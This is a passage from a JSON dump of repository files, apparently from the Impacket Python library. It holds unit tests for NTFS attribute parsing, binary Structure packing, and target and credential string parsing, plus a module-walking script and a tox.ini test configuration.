initialized_size)\n\n    buf += data_runs_bytes\n    buf += b'\\x00' * (total_length - len(buf))\n    return buf\n\n\ndef build_file_name_attr(name, file_name_type=FILE_NAME_WIN32):\n    \"\"\"Build raw NTFS_FILE_NAME_ATTR bytes.\"\"\"\n    encoded = name.encode('utf-16le')\n    buf = struct.pack('<Q', 5)                           # ParentDirectory\n    buf += struct.pack('<Q', 0)                          # CreationTime\n    buf += struct.pack('<Q', 132_000_000_000_000_000)    # LastDataChangeTime\n    buf += struct.pack('<Q', 0)                          # LastMftChangeTime\n    buf += struct.pack('<Q', 0)                          # LastAccessTime\n    buf += struct.pack('<Q', 0)                          # AllocatedSize\n    buf += struct.pack('<Q', 0)                          # DataSize\n    buf += struct.pack('<LL', 0, 0)                      # FileAttributes, EaSize\n    buf += struct.pack('BB', len(name), file_name_type)\n    buf += encoded\n    return buf\n\n\ndef build_attr_list_entry(attr_type, starting_vcn, mft_record_num, attr_id,\n                          name=None, mft_seq=0):\n    \"\"\"Build raw NTFS_ATTRIBUTE_LIST_ENTRY bytes (26-byte fixed + optional name).\"\"\"\n    BASE_SIZE = 26\n    name_bytes = b''\n    name_len = 0\n    name_offset = 0\n\n    if name is not None:\n        name_bytes = name.encode('utf-16le')\n        name_len = len(name)\n        name_offset = BASE_SIZE\n\n    entry_length = BASE_SIZE + len(name_bytes)\n    base_file_record = (\n        ((mft_seq & 0xFFFF) << 48) | (mft_record_num & 0x0000FFFFFFFFFFFF)\n    )\n\n    buf = struct.pack('<LH BB Q Q H',\n                      attr_type, entry_length,\n                      name_len, name_offset,\n                      starting_vcn,\n                      base_file_record,\n                      attr_id)\n    buf += name_bytes\n    return buf\n\n\nclass MockIndexEntry:\n    \"\"\"Minimal IndexEntry stand-in for walk() tests.\"\"\"\n    def __init__(self, key, inode_num, is_subnode=False, vcn=0):\n        self._key = key\n        self._inode_num = inode_num\n        self._is_subnode = is_subnode\n        self._vcn = vcn\n\n    def isSubNode(self):\n        return self._is_subnode\n\n    def isLastNode(self):\n        return False\n\n    def getKey(self):\n        return self._key\n\n    def getINodeNumber(self):\n        return self._inode_num\n\n    def getVCN(self):\n        return self._vcn\n\n\nclass MockIndexRoot:\n    \"\"\"Minimal AttributeIndexRoot stand-in for walk() tests.\"\"\"\n    def __init__(self, type_flag, entries):\n        self._type = type_flag\n        self.IndexEntries = entries\n\n    def getType(self):\n        return self._type\n\n\n# ===========================================================================\n# Test Classes\n# ===========================================================================\n\nclass TestParseDataRuns(unittest.TestCase):\n    \"\"\"Verify data-run parsing inside AttributeNonResident construction.\"\"\"\n\n    def _make(self, runs_bytes, data_size=CLUSTER_SIZE, **kw):\n        raw = build_nonresident_attr(runs_bytes, data_size, **kw)\n        return ntfs_read.AttributeNonResident(MockINode(), raw)\n\n    def test_single_run(self):\n        # 0x11 -> 1 len byte, 1 offset byte; len=8, offset=10\n        attr = self._make(b'\\x11\\x08\\x0A\\x00', data_size=8 * CLUSTER_SIZE)\n        self.assertEqual(len(attr.DataRuns), 1)\n        dr = attr.DataRuns[0]\n        self.assertEqual(dr['LCN'], 10)\n        self.assertEqual(dr['Clusters'], 8)\n        self.assertEqual(dr['StartVCN'], 0)\n        self.assertEqual(dr['LastVCN'], 7)\n\n    def test_sparse_run(self):\n        # 0x01 -> 1 len byte, 0 offset bytes -> sparse\n        attr = self._make(b'\\x01\\x05\\x00', data_size=5 * CLUSTER_SIZE)\n        self.assertEqual(len(attr.DataRuns), 1)\n        self.assertEqual(attr.DataRuns[0]['LCN'], -1)\n        self.assertEqual(attr.DataRuns[0]['Clusters'], 5)\n\n    def test_negative_delta(self):\n        # Run 1: 8 clusters @ LCN 20  (delta=+20=0x14)\n        # Run 2: 4 clusters @ LCN 16  (delta=-4=0xFC signed byte)\n        attr = self._make(b'\\x11\\x08\\x14\\x11\\x04\\xFC\\x00',\n                          data_size=12 * CLUSTER_SIZE)\n        self.assertEqual(len(attr.DataRuns), 2)\n        self.assertEqual(attr.DataRuns[0]['LCN'], 20)\n        self.assertEqual(attr.DataRuns[1]['LCN'], 16)\n        self.assertEqual(attr.DataRuns[1]['Clusters'], 4)\n\n    def test_multi_run(self):\n        # 4@LCN10, 4@LCN20(delta+10), 4@LCN30(delta+10)\n        attr = self._make(b'\\x11\\x04\\x0A\\x11\\x04\\x0A\\x11\\x04\\x0A\\x00',\n                          data_size=12 * CLUSTER_SIZE)\n        self.assertEqual(len(attr.DataRuns), 3)\n        self.assertEqual([dr['LCN'] for dr in attr.DataRuns], [10, 20, 30])\n        self.assertEqual(attr.DataRuns[0]['StartVCN'], 0)\n        self.assertEqual(attr.DataRuns[0]['LastVCN'], 3)\n        self.assertEqual(attr.DataRuns[1]['StartVCN'], 4)\n        self.assertEqual(attr.DataRuns[1]['LastVCN'], 7)\n        self.assertEqual(attr.DataRuns[2]['StartVCN'], 8)\n        self.assertEqual(attr.DataRuns[2]['LastVCN'], 11)\n\n    def test_empty(self):\n        attr = self._make(b'\\x00')\n        self.assertEqual(attr.DataRuns, [])\n\n    def test_truncated_stops_gracefully(self):\n        # 0x21 -> 1 len byte + 2 offset bytes needed, but allocated_size\n        # limits AttrValue so the offset bytes are absent\n        attr = self._make(b'\\x21\\x08', allocated_size=2)\n        self.assertEqual(len(attr.DataRuns), 0)\n\n\nclass TestReadVCN(unittest.TestCase):\n    \"\"\"Verify readVCN() across multiple data runs including sparse.\"\"\"\n\n    def _write_volume(self, lcn_map):\n        \"\"\"Return a MockVolume with known data written at given LCN offsets.\"\"\"\n        max_end = max(lcn * CLUSTER_SIZE + len(d) for lcn, d in lcn_map.items())\n        vol = MockVolume(max_end)\n        for lcn, data in lcn_map.items():\n            vol.volumeFD.seek(lcn * CLUSTER_SIZE)\n            vol.volumeFD.write(data)\n        return vol\n\n    def test_span_two_runs(self):\n        pattern_a = b'\\xAA' * (2 * CLUSTER_SIZE)\n        pattern_b = b'\\xBB' * (2 * CLUSTER_SIZE)\n        vol = self._write_volume({10: pattern_a, 20: pattern_b})\n\n        # 2 clusters @ LCN 10, 2 clusters @ LCN 20 (delta +10)\n        runs = b'\\x11\\x02\\x0A\\x11\\x02\\x0A\\x00'\n        raw = build_nonresident_attr(runs, data_size=4 * CLUSTER_SIZE)\n        attr = ntfs_read.AttributeNonResident(MockINode(vol), raw)\n        attr.ClusterSize = CLUSTER_SIZE\n\n        buf = attr.readVCN(0, 4)\n        self.assertEqual(len(buf), 4 * CLUSTER_SIZE)\n        self.assertEqual(buf[:2 * CLUSTER_SIZE], pattern_a)\n        self.assertEqual(buf[2 * CLUSTER_SIZE:], pattern_b)\n\n    def test_sparse_in_middle(self):\n        pattern_a = b'\\xAA' * (2 * CLUSTER_SIZE)\n        pattern_c = b'\\xCC' * (2 * CLUSTER_SIZE)\n        vol = self._write_volume({10: pattern_a, 30: pattern_c})\n\n        # 2@LCN10, 2 sparse, 2@LCN30 (delta from prevLcn=10 -> +20=0x14)\n        runs = b'\\x11\\x02\\x0A\\x01\\x02\\x11\\x02\\x14\\x00'\n        raw = build_nonresident_attr(runs, data_size=6 * CLUSTER_SIZE)\n        attr = ntfs_read.AttributeNonResident(MockINode(vol), raw)\n        attr.ClusterSize = CLUSTER_SIZE\n\n        buf = attr.readVCN(0, 6)\n        self.assertEqual(len(buf), 6 * CLUSTER_SIZE)\n        self.assertEqual(buf[:2 * CLUSTER_SIZE], pattern_a)\n        self.assertEqual(buf[2 * CLUSTER_SIZE:4 * CLUSTER_SIZE],\n                         b'\\x00' * 2 * CLUSTER_SIZE)\n        self.assertEqual(buf[4 * CLUSTER_SIZE:], pattern_c)\n\n\nclass TestRead(unittest.TestCase):\n    \"\"\"Verify read() clamping, zero-fill, and partial-cluster alignment.\"\"\"\n\n    def _setup(self, data_size, initialized_size=None, lcn=5, num_clusters=None):\n        \"\"\"Build a volume + non-resident attr backed by a repeating pattern.\"\"\"\n        if num_clusters is None:\n            num_clusters = max((data_size + CLUSTER_SIZE - 1) // CLUSTER_SIZE, 1)\n        total_bytes = num_clusters * CLUSTER_SIZE\n\n        # Deterministic pattern: 0x00..0xFF repeating\n        pattern = bytes(range(256)) * ((total_bytes // 256) + 1)\n        cluster_data = pattern[:total_bytes]\n\n        vol = MockVolume(lcn * CLUSTER_SIZE + total_bytes)\n        vol.volumeFD.seek(lcn * CLUSTER_SIZE)\n        vol.volumeFD.write(cluster_data)\n\n        # Single data run: num_clusters @ lcn\n        runs = (b'\\x11'\n                + struct.pack('B', num_clusters)\n                + struct.pack('B', lcn)\n                + b'\\x00')\n        raw = build_nonresident_attr(runs, data_size,\n                                     initialized_size=initialized_size,\n                                     allocated_size=total_bytes)\n        attr = ntfs_read.AttributeNonResident(MockINode(vol), raw)\n        return attr, cluster_data\n\n    def test_basic_read(self):\n        attr, disk = self._setup(data_size=5000)\n        result = attr.read(0, 5000)\n        self.assertEqual(len(result), 5000)\n        self.assertEqual(result, disk[:5000])\n\n    def test_eof_clamp(self):\n        attr, disk = self._setup(data_size=5000)\n        result = attr.read(4000, 2000)  # offset+length exceeds data_size\n        self.assertEqual(len(result), 1000)\n        self.assertEqual(result, disk[4000:5000])\n\n    def test_past_eof(self):\n        attr, _ = self._setup(data_size=5000)\n        result = attr.read(5000, 100)\n        self.assertEqual(result, b'')\n\n    def test_initialized_size_zero_fill(self):\n        attr, disk = self._setup(data_size=8000, initialized_size=4000)\n        result = attr.read(0, 8000)\n        self.assertEqual(len(result), 8000)\n        self.assertEqual(result[:4000], disk[:4000])\n        self.assertEqual(result[4000:], b'\\x00' * 4000)\n\n    def test_partial_cluster_offset(self):\n        attr, disk = self._setup(data_size=CLUSTER_SIZE * 2)\n        result = attr.read(100, 200)\n        self.assertEqual(len(result), 200)\n        self.assertEqual(result, disk[100:300])\n\n\nclass TestAttributeListEntry(unittest.TestCase):\n    \"\"\"Verify AttributeListEntry field extraction.\"\"\"\n\n    def test_mft_record_split(self):\n        record_num = 0x123456789AB\n        seq = 0x0007\n        entry_bytes = build_attr_list_entry(\n            DATA, starting_vcn=0, mft_record_num=record_num,\n            attr_id=1, mft_seq=seq,\n        )\n        entry = ntfs_read.AttributeListEntry(entry_bytes)\n        self.assertEqual(entry.MftRecordNumber, record_num)\n        self.assertEqual(entry.MftSequenceNumber, seq)\n\n    def test_named_attribute(self):\n        entry_bytes = build_attr_list_entry(\n            DATA, starting_vcn=0, mft_record_num=42,\n            attr_id=3, name='$SDS',\n        )\n        entry = ntfs_read.AttributeListEntry(entry_bytes)\n        self.assertEqual(entry.AttributeName, '$SDS')\n\n    def test_unnamed_attribute(self):\n        entry_bytes = build_attr_list_entry(\n            DATA, starting_vcn=0, mft_record_num=42,\n            attr_id=3,\n        )\n        entry = ntfs_read.AttributeListEntry(entry_bytes)\n        self.assertIsNone(entry.AttributeName)\n\n\nclass TestAttributeListParsing(unittest.TestCase):\n    \"\"\"Verify AttributeList._parseEntries() with multiple entries.\"\"\"\n\n    @staticmethod\n    def _make_resident_attr(raw_data):\n        \"\"\"Build a fake resident attribute whose getValue() returns raw_data.\"\"\"\n        class _Fake:\n            def getValue(self):\n                return raw_data\n            def getDataSize(self):\n                return len(raw_data)\n        return _Fake()\n\n    def test_three_entries(self):\n        e1 = build_attr_list_entry(0x10, 0, 100, 1)  # STANDARD_INFORMATION\n        e2 = build_attr_list_entry(0x30, 0, 100, 2)  # FILE_NAME\n        e3 = build_attr_list_entry(0x80, 0, 200, 3)  # DATA\n        sentinel = b'\\x00' * 26  # zero-length entry terminates\n        raw = e1 + e2 + e3 + sentinel\n\n        al = ntfs_read.AttributeList(self._make_resident_attr(raw))\n        self.assertEqual(len(al.Entries), 3)\n        self.assertEqual(al.Entries[0].AttributeType, 0x10)\n        self.assertEqual(al.Entries[1].AttributeType, 0x30)\n        self.assertEqual(al.Entries[2].AttributeType, 0x80)\n        self.assertEqual(al.Entries[2].MftRecordNumber, 200)\n\n    def test_truncated_stops(self):\n        \"\"\"Data shorter than minimum entry size (26 bytes) -> empty list.\"\"\"\n        al = ntfs_read.AttributeList(self._make_resident_attr(b'\\x00' * 20))\n        self.assertEqual(len(al.Entries), 0)\n\n\nclass TestWalk(unittest.TestCase):\n    \"\"\"Verify INODE.walk() with inline INDEX_ROOT entries.\"\"\"\n\n    def _make_inode(self, index_root=None):\n        inode = ntfs_read.INODE(MockVolume())\n        inode.INodeNumber = 200\n        if index_root is not None:\n            inode.Attributes[INDEX_ROOT] = index_root\n        return inode\n\n    def test_inline_entries(self):\n        valid_key = build_file_name_attr('report.txt', FILE_NAME_WIN32)\n        dos_key = build_file_name_attr('REPORT~1.TXT', FILE_NAME_DOS)\n        system_key = build_file_name_attr('$MFT', FILE_NAME_WIN32)\n\n        entries = [\n            MockIndexEntry(valid_key, inode_num=100),   # valid\n            MockIndexEntry(dos_key, inode_num=101),      # DOS -> skip\n            MockIndexEntry(system_key, inode_num=5),     # inode <= 16 -> skip\n        ]\n        ir = MockIndexRoot(type_flag=FILE_NAME, entries=entries)\n        inode = self._make_inode(ir)\n\n        files = inode.walk()\n        self.assertEqual(len(files), 1)\n        self.assertEqual(files[0]['FileName'].decode('utf-16le'), 'report.txt')\n        self.assertEqual(inode._walk_root_count, 1)\n\n    def test_no_index_root(self):\n        inode = self._make_inode()\n        self.assertIsNone(inode.walk())\n\n\nclass TestGetDataSize(unittest.TestCase):\n    \"\"\"getDataSize() must return DataSize, not InitializedSize.\"\"\"\n\n    def test_returns_data_size(self):\n        runs = b'\\x11\\x04\\x05\\x00'\n        raw = build_nonresident_attr(runs, data_size=1000, initialized_size=500)\n        attr = ntfs_read.AttributeNonResident(MockINode(), raw)\n        self.assertEqual(attr.getDataSize(), 1000)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/misc/test_structure.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nfrom __future__ import print_function\nimport six\nimport unittest\nfrom binascii import hexlify\n\nfrom impacket.structure import Structure\n\n\ndef hexl(b):\n    hexstr = str(hexlify(b).decode('ascii'))\n    return ' '.join([hexstr[i:i + 8] for i in range(0, len(hexstr), 8)])\n\n\nclass _StructureTest(object):\n    # Subclass:\n    # - must define theClass\n    # - may override alignment\n    alignment = 0\n\n    def create(self, data=None):\n        if data is not None:\n            return self.theClass(data, alignment=self.alignment)\n        else:\n            return self.theClass(alignment=self.alignment)\n\n    def test_structure(self):\n        # print()\n        # print(\"-\"*70)\n        # testName = self.__class__.__name__\n        # print(\"starting test: %s.....\" % testName)\n        # Create blank structure and fill its fields\n        a = self.create()\n        self.populate(a)\n        # a.dump(\"packing.....\")\n        # Get its binary representation\n        a_str = a.getData()\n        self.check_data(a_str)\n        # print(\"packed: %r\" % a_str)\n        # print(\"unpacking.....\")\n        b = self.create(a_str)\n        # b.dump(\"unpacked.....\")\n        # print(\"repacking.....\")\n        b_str = b.getData()\n        self.assertEqual(b_str, a_str,\n                         \"ERROR: original packed and repacked don't match\")\n\n    def check_data(self, a_str):\n        if hasattr(self, 'hexData'):\n            # Regression check\n            self.assertEqual(hexl(a_str), self.hexData)\n        else:\n            # Show result, to aid adding regression check\n            print(self.__class__.__name__, hexl(a_str))\n\n\nclass Test_simple(_StructureTest, unittest.TestCase):\n    class theClass(Structure):\n        commonHdr = ()\n        structure = (\n            ('int1', '!L'),\n            ('len1', '!L-z1'),\n            ('arr1', 'B*<L'),\n            ('z1', 'z'),\n            ('u1', 'u'),\n            ('', '\"COCA'),\n            ('len2', '!H-:1'),\n            ('', '\"COCA'),\n            (':1', ':'),\n            ('int3', '>L'),\n            ('code1', '>L=len(arr1)*2+0x1000'),\n        )\n\n    def populate(self, a):\n        a['default'] = 'hola'\n        a['int1'] = 0x3131\n        a['int3'] = 0x45444342\n        a['z1'] = 'hola'\n        a['u1'] = 'hola'.encode('utf_16_le')\n        a[':1'] = ':1234:'\n        a['arr1'] = (0x12341234, 0x88990077, 0x41414141)\n        # a['len1'] = 0x42424242\n\n    hexData = '00003131 00000005 03341234 12770099 88414141 41686f6c 61006800 6f006c00 61000000 434f4341 0006434f 43413a31 3233343a 45444342 00001006'\n\n\nclass Test_fixedLength(Test_simple):\n    def test_structure(self):\n        a = self.create()\n        self.populate(a)\n        # Set a bogus length...\n        a['len1'] = 0x42424242\n        a_str = a.getData()\n        if hasattr(self, 'hexData'):\n            # Regression check\n            self.assertEqual(hexl(a_str), self.hexData)\n        else:\n            print(hexl(a_str))\n        # ... so that unpacking will now fail\n        with six.assertRaisesRegex(self, Exception, r'not NUL terminated'):\n            self.create(a_str)\n\n    hexData = '00003131 42424242 03341234 12770099 88414141 41686f6c 61006800 6f006c00 61000000 434f4341 0006434f 43413a31 3233343a 45444342 00001006'\n\n\nclass Test_simple_aligned4(Test_simple):\n    alignment = 4\n    hexData = '00003131 00000005 03341234 12770099 88414141 41000000 686f6c61 00000000 68006f00 6c006100 00000000 434f4341 00060000 434f4341 3a313233 343a0000 45444342 00001006'\n\nclass Test_unicode_with_embedded_null(_StructureTest, unittest.TestCase):\n    class theClass(Structure):\n        structure = (\n            ('utf16', 'u'),\n        )\n\n    def populate(self, a):\n        # Use a character whose low byte is 0x00 (U+0400) following an ASCII char.\n        # Older calcUnpackSize logic stopped at the odd-offset 0x00 0x00 pair between chars.\n        a['utf16'] = 'A\\u0400'.encode('utf_16_le')\n\n    hexData = '41000004 0000'\n\nclass Test_nested(_StructureTest, unittest.TestCase):\n    class theClass(Structure):\n        class _Inner(Structure):\n            structure = (('data', 'z'),)\n\n        structure = (\n            ('nest1', ':', _Inner),\n            ('nest2', ':', _Inner),\n            ('int', '<L'),\n        )\n\n    def populate(self, a):\n        a['nest1'] = Test_nested.theClass._Inner()\n        a['nest2'] = Test_nested.theClass._Inner()\n        a['nest1']['data'] = 'hola manola'\n        a['nest2']['data'] = 'chau loco'\n        a['int'] = 0x12345678\n\n    hexData = '686f6c61 206d616e 6f6c6100 63686175 206c6f63 6f007856 3412'\n\n\nclass Test_Optional(_StructureTest, unittest.TestCase):\n    class theClass(Structure):\n        structure = (\n            ('pName', '<L&Name'),\n            ('pList', '<L&List'),\n            ('Name', 'w'),\n            ('List', '<H*<L'),\n        )\n\n    def populate(self, a):\n        a['Name'] = 'Optional test'\n        a['List'] = (1, 2, 3, 4)\n\n    def check_data(self, a_str):\n        # Pointer values change between runs, so ignore them\n        filtered = ''.join(['-' if h == '-' else a\n                            for a, h in zip(hexl(a_str), self.hexData)])\n        self.assertEqual(filtered, self.hexData)\n\n    hexData = '-------- -------- 07000000 07000000 00000000 4f707469 6f6e616c 20746573 74000400 01000000 02000000 03000000 04000000'\n\n\nclass Test_Optional_sparse(Test_Optional):\n    def populate(self, a):\n        Test_Optional.populate(self, a)\n        del a['Name']\n\n    hexData = '00000000 -------- 04000100 00000200 00000300 00000400 0000'\n\n\nclass Test_AsciiZArray(_StructureTest, unittest.TestCase):\n    class theClass(Structure):\n        structure = (\n            ('head', '<L'),\n            ('array', 'B*z'),\n            ('tail', '<L'),\n        )\n\n    def populate(self, a):\n        a['head'] = 0x1234\n        a['tail'] = 0xabcd\n        a['array'] = ('hola', 'manola', 'te traje')\n\n    hexData = '34120000 03686f6c 61006d61 6e6f6c61 00746520 7472616a 6500cdab 0000'\n\n\nclass Test_UnpackCode(_StructureTest, unittest.TestCase):\n    class theClass(Structure):\n        structure = (\n            ('leni', '<L=len(uno)*2'),\n            ('cuchi', '_-uno', 'leni//2'),\n            ('uno', ':'),\n            ('dos', ':'),\n        )\n\n    def populate(self, a):\n        a['uno'] = 'soy un loco!'\n        a['dos'] = 'que haces fiera'\n\n    hexData = '18000000 736f7920 756e206c 6f636f21 71756520 68616365 73206669 657261'\n\n\nclass Test_AAA(_StructureTest, unittest.TestCase):\n    class theClass(Structure):\n        commonHdr = ()\n        structure = (\n            ('iv', '!L=((init_vector & 0xFFFFFF) << 8) | ((pad & 0x3f) << 2) | (keyid & 3)'),\n            ('init_vector', '_', '(iv >> 8)'),\n            ('pad', '_', '((iv >>2) & 0x3F)'),\n            ('keyid', '_', '( iv & 0x03 )'),\n            ('dataLen', '_-data', 'len(inputDataLeft)-4'),\n            ('data', ':'),\n            ('icv', '>L'),\n        )\n\n    def populate(self, a):\n        a['init_vector'] = 0x01020304\n        # a['pad']=int('01010101',2)\n        a['pad'] = int('010101', 2)\n        a['keyid'] = 0x07\n        a['data'] = \"\\xA0\\xA1\\xA2\\xA3\\xA4\\xA5\\xA6\\xA7\\xA8\\xA9\"\n        a['icv'] = 0x05060708\n        # a['iv'] = 0x01020304\n\n    hexData = '02030457 a0a1a2a3 a4a5a6a7 a8a90506 0708'\n\n\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/misc/test_utils.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Utility and helper functions for the example scripts\n#\nimport unittest\nfrom impacket.examples.utils import parse_target, parse_credentials\n\n\nclass UtilsTests(unittest.TestCase):\n\n    def test_parse_target(self):\n        # Parse target returns a tuple with: domain, username, password, remote_name/address\n        targets = {\n            \"\": (\"\", \"\", \"\", \"\"),\n            \"HostName\": (\"\", \"\", \"\", \"HostName\"),\n            \"UserName@HostName\": (\"\", \"UserName\", \"\", \"HostName\"),\n            \"UserName:Password@HostName\": (\"\", \"UserName\", \"Password\", \"HostName\"),\n            \"UserName:Pa$$word1234@HostName\": (\"\", \"UserName\", \"Pa$$word1234\", \"HostName\"),\n            \"UserName:Password!#$@HostName\": (\"\", \"UserName\", \"Password!#$\", \"HostName\"),\n            \"UserName:Passw@rd!#$@HostName\": (\"\", \"UserName\", \"Passw@rd!#$\", \"HostName\"),\n            \"UserName:P@ssw@rd@!#$@HostName\": (\"\", \"UserName\", \"P@ssw@rd@!#$\", \"HostName\"),\n            \"DOMAIN/UserName@HostName\": (\"DOMAIN\", \"UserName\", \"\", \"HostName\"),\n            \"DOMAIN/:Password@HostName\": (\"DOMAIN\", \"\", \"Password\", \"HostName\"),\n            \"DOMAIN/UserName:Password@HostName\": (\"DOMAIN\", \"UserName\", \"Password\", \"HostName\"),\n            \"DOMAIN/UserName:Password/123@HostName\": (\"DOMAIN\", \"UserName\", \"Password/123\", \"HostName\"),\n        }\n\n        for target, result in targets.items():\n            self.assertTupleEqual(parse_target(target), result)\n\n    def test_parse_credentials(self):\n        # Parse credentials returns a tuple with: domain, username, password\n        creds = {\n            \"\": (\"\", \"\", \"\"),\n            \"UserName\": (\"\", \"UserName\", \"\"),\n            \"UserName:Password\": (\"\", \"UserName\", \"Password\"),\n            \"UserName:Password:123\": (\"\", \"UserName\", \"Password:123\"),\n            \"DOMAIN/UserName\": (\"DOMAIN\", \"UserName\", \"\"),\n            \"DOMAIN/UserName:Password\": (\"DOMAIN\", \"UserName\", \"Password\"),\n            \"DOMAIN/UserName:Password/123\": (\"DOMAIN\", \"UserName\", \"Password/123\"),\n        }\n\n        for cred, result in creds.items():\n            self.assertTupleEqual(parse_credentials(cred), result)\n\n\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/walkmodules.py",
    "content": "#!/usr/bin/env python\n# From https://stackoverflow.com/questions/1707709/list-all-the-modules-that-are-part-of-a-python-package\nimport pkgutil\nimport impacket\npackage=impacket\nfor importer, modname, ispkg in pkgutil.walk_packages(path=package.__path__,\n                                                      prefix=package.__name__+'.',\n                                                      onerror=lambda x: None):\n    try:\n        __import__(modname)\n    except Exception as e:\n        import traceback\n        traceback.print_exc()\n        print(e)\n        pass\n"
  },
  {
    "path": "tox.ini",
    "content": "# content of: tox.ini, put in same dir as setup.py\n[tox]\nenvlist = clean,py{36,37,38,39,310,311},report\n\n[gh-actions]\npython =\n    3.6: py36\n    3.7: py37\n    3.8: py38\n    3.9: py39\n    3.10: py310\n    3.11: py311\n\n[testenv]\ndeps = -r requirements-test.txt\npassenv = REMOTE_CONFIG\ncommands =\n    {envpython} -m pip check\n    pytest --cov --cov-append --cov-context=test --cov-config=tox.ini {posargs}\ndepends =\n    py{36,37,38,39,310,311}: clean\n    report: py{36,37,38,39,310,311}\n\n[testenv:clean]\nbasepython = python3.8\ndeps = coverage\nskip_install = true\ncommands =\n    coverage erase\n\n[testenv:report]\nbasepython = python3.8\ndeps = coverage\nskip_install = true\ncommands =\n    coverage report\n    coverage html\n\n[testenv:py311]\nignore_errors = true\n\n[pytest]\nmarkers =\n    remote: marks tests as remote\n\n[coverage:run]\nbranch = True\nsource = impacket\nomit = *remcom*\n       *.tox*\n\n[coverage:report]\n# Regexes for lines to exclude from consideration\nexclude_lines =\n    # Have to re-enable the standard pragma\n    pragma: no cover\n\n    # Don't complain about missing debug-only code:\n    if self\\.debug\n\n    # Don't complain if tests don't hit defensive assertion code:\n    raise AssertionError\n    raise NotImplementedError\n\n    # Don't complain if non-runnable code isn't run:\n    if 0:\n    if __name__ == .__main__.:\n\nignore_errors = True\n\n[coverage:html]\nshow_contexts = True\n"
  }
]